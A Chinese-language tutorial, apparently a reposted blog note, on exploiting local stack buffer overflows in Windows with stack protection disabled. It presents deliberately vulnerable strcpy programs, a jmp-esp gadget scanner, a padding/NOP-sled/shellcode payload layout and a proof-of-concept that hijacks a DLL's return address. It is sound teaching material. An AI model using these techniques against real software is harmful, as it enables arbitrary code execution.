本地緩沖區溢出分析


棧溢出是緩沖區溢出中最為常見的一種攻擊手法,其原理是,程序在運行時棧地址是由操作系統來負責維護的,在我們調用函數時,程序會將當前函數的下一條指令的地址壓入棧中,而函數執行完畢后,則會通過ret指令從棧地址中彈出壓入的返回地址,並將返回地址重新裝載到EIP指令指針寄存器中,從而繼續運行,然而將這種控制程序執行流程的地址保存到棧中,必然會給棧溢出攻擊帶來可行性。

前面的筆記《緩沖區溢出與攻防博弈》中已經具體的介紹了緩沖區溢出的基本知識,也了解到了攻防雙方技術的博弈過程,本次我們將來看幾個簡單的本地溢出案例,本次測試環境為Windows10系統+VS 2013編譯器,該編譯器默認開啟GS保護,在下方的實驗中需要手動將其關閉。

C語言中通常會提供給我們標准的函數庫,這些標准函數如果使用不當則會造成意想不到的后果。

strcpy()                    vfscanf()
strcat()                     vsprintf()
sprintf()                    vscanf()
scanf()                     vsscanf()
sscanf()                   streadd()
fscanf()                    strecpy()

### 針對EXE文件的溢出利用

以下案例就是利用了 strcpy() 函數的漏洞從而實現溢出的,程序運行后用戶從命令行傳入一個參數,該參數的大小是不固定的,傳入參數后由內部的 geting()函數接收,並通過strcpy()函數將臨時數據賦值到name變量中,最后將其打印出來,很明顯代碼中並沒有對用戶輸入的變量進行長度的限定。

#include <stdio.h>
#include <string.h>

void geting(char *temp){
	char name[10];
	strcpy(name, temp);
	printf("%s \n", name);
}

int main(int argc,char *argv[])
{
	geting(argv[1]);
	return 0;
}

直接保存為overflow.c然后執行 cl /Zi /GS- overflow.c 編譯並生成可執行文件,參數中的/GS-就是關閉當前的GS保護。

C:\Users\LyShark\Desktop>cl /Zi /GS- overflow.c
用於 x86 的 Microsoft (R) C/C++ 優化編譯器 18.00.21005.1

overflow.c
Microsoft (R) Incremental Linker Version 12.00.21005.1
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:overflow.exe
/debug
overflow.obj

接着我們需要在命令行界面中運行來啟動調試器,其中第一個參數 overflow.exe 就是我們的程序名,第二個參數是傳入命令行參數,我們首先傳入一個正常大小的字符串。

C:\OllyICE> OllyICE.exe overflow.exe hello

載入上面所編寫的 exe 程序。由於我們需要從 main 函數開始分析,但是OD並沒有在main函數處停下,而是停在了程序的初始化部分,如下圖所示:

上方這些代碼並不是我們寫的而是編譯器自動生成的,這里我們無需關心這些代碼片段,我們只需要找到程序的OPE入口即可,通過觀察獲取,這里經過不斷地分析找到了程序的OEP 0012A1050,直接在此處下斷點。

進一步分析后觀察發現,下方代碼就是我們程序中的 geting()這個函數,溢出也正是發生在這里的,注意堆棧變化。

這里由於我們傳遞了正常的參數,所以沒有溢出,下圖可看出程序正常返回並沒有覆蓋ESP/EIP等指針。

重新運行程序,然后輸入一個超長字符串,這里我就輸入一串 lysharkAAAAAAAAABBBB

上方截圖可知,程序的返回地址已被BBBB等字母霸占了,當程序執行ret指令返回時,程序會在堆棧中取出42424242並將該地址賦值給EIP指針,而42424242這個地址是錯誤的指令,所以程序會報錯。

除此之外還需要查找系統中的跳板指令,這里的跳板是程序中原有的機器碼,其包括如 jmp esp,call esp,jmp ecx等,我們需要利用這些跳板指令完成對堆棧地址的定位。

再次運行程序,然后輸入一個正常字符串 lyshark ,用OD載入,執行到main函數最后的位置,即retn語句處,此時我們關注一下esp寄存器所保存的值:

上圖可知,現在esp中保存的值是012A1067,而在棧中這個地址對應的就是我們的返回地址,即我們下一條語句的位置。然后我們此時再按一下F8,單步執行,那么此時Geting()函數就會執行完畢:

我們還發現ESP指針的值會自動變成返回地址的下一個位置,而esp的這種變化,一般是不受任何情況影響的,因為堆棧的地址是動態變化的,所以我們才需要找到一個跳板函數來實現跳轉到堆棧中布置好的ShellCode中去。

jmp esp 這條機器指令,在很多動態連接庫中都存在,jmp esp的機器碼是0xFFE4,我們可以編寫一個程序,來在kernelbase.dll中查找是否存在jmp esp 指令,需要注意的是,這里必須查找程序中已經加載的動態鏈接庫。

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

int main()
{
	BYTE *ptr;
	int position;
	HINSTANCE handle;
	BOOL done_flag = FALSE;
	handle = LoadLibrary("kernelbase.dll");
	ptr = (BYTE*)handle;

	for (position = 0; !done_flag; position++)
	{
		try
		{
			if (ptr[position] == 0xFF && ptr[position + 1] == 0xE4)
			{
				int address = (int)ptr + position;
				printf("找到跳板指令:0x%x\n", address);
			}
		}
		catch (...)
		{
			int address = (int)ptr + position;
			printf("結束指針位置:0x%x\n", address);
			done_flag = true;
		}
	}
	getchar();
	return 0;
}

上方代碼運行后,會得到一個跳板地址 0x76c2fb75 如下,當然其他的模塊中可能存在更多的跳板指令。

我們手動將堆棧中的 424242 替換為 0x76c2fb75 注意該地址應該反寫,如下所示:

當程序運行時,首先會ret返回,而程序返回會在堆棧中將 0x76c2fb75 這個內存地址回寫到 EIP中,然后會執行第一次跳轉,其跳轉到 kernelbase.dll 中的 jmp esp 中。

觀察發現,esp指針的地址是 013DFBE8 ,也就將當前程序的控制流指向了堆棧中,我們只需要在堆棧中布置好合理的ShellCode就可以執行任意代碼。

至此該程序就分析完畢了,經過分析我們的ShellCode代碼應該這樣構建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode

這里的A 代表的是正常輸出內容,其作用是正好不多不少的填充滿這個緩沖區。
這里的B 代表的是 jmp esp 的機器指令,該處應該為 0x76c2fb75 。
這里的N 代表Nop雪橇的填充,一般的 20 個Nop左右就好。
這里 ShellCode 就是我們要執行的惡意代碼啦。

輸入方式應該是,當程序運行后會先跳轉到 jmp esp 並執行該指令,然后jmp esp 會跳轉到 nop雪橇的位置,程序的執行流會順着nop雪橇滑向ShellCode代碼,從而實現反彈Shell。

D:\OllyICE> OllyICE.exe overflow.exe Ax16 + jmp esp + nop x 20 + ShellCode


### 針對Dll文件的溢出利用

很多時候我們要分析的目標不是一個EXE可執行文件,而是一個DLL文件,這樣的例子很多,比如Windows系統中有很多系統模塊都是DLL文件,這些文件如果出現漏洞該如何利用呢?接下來我們將來研究針對DLL文件的利用方法,最后編寫利用代碼實現DLL文件的利用。

1.首先我們先來創建一個 ntdll.cpp 的可執行文件,其中有兩個函數,一個是彈窗提示,而另一個則是字符串的拷貝函數,編譯這個DLL文件。

#include <windows.h>
#include <iostream>
#pragma comment(lib,"User32.lib")

bool APIENTRY DllMain(HANDLE handle, DWORD dword, LPVOID lpvoid){
	return true;
}

extern "C"__declspec(dllexport) void ntMsgBox(){
	::MessageBox(NULL,TEXT("hello lyshark"),TEXT("MsgBox"),MB_OK);
}

extern "C"__declspec(dllexport) void ntCheck(char *Code){
		char name[10];
		strcpy(name,Code);
		printf("Buffer Is: %s",Code);
}

C:\Users\> cl /c /GS- /EHsc ntdll.cpp
C:\Users\> link /dll ntdll.obj

接着我們通過緩沖區溢出漏洞,實現調用 ntCheck函數是,讓其彈出 MsgBox 提示框,通過OD分析找到MsgBox地址是 0x5BAB1090 接着編寫利用代碼如下:

#include <windows.h>
#include <iostream>
#include <string.h>
typedef void(*MyPROC)(char *);

int main(){
	HINSTANCE libHandle;
	MyPROC Func;
	char DllName[] = "./ntdll.dll";
	libHandle = LoadLibrary(DllName);
	Func = (MyPROC)GetProcAddress(libHandle, "ntCheck");

	char Str[0x4096];
	 char source[] = "\x41\x41\x41\x41\x41\x41\x41\x41\x41" // 填充滿緩沖區
		"\x90\x10\xab\x5b"                                                     // 跳轉到MsgBox

	memcpy(Str,source,sizeof(source));
	(Func)(Str);
	FreeLibrary(libHandle);
	return 0;
}

隨着編譯器廠商和操作系統廠商的各種新技術的出現,這些傳統的緩沖區溢出的利用已經變得非常困難了,所以以上筆記只能作為原理方面的研究,並沒有實際價值。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM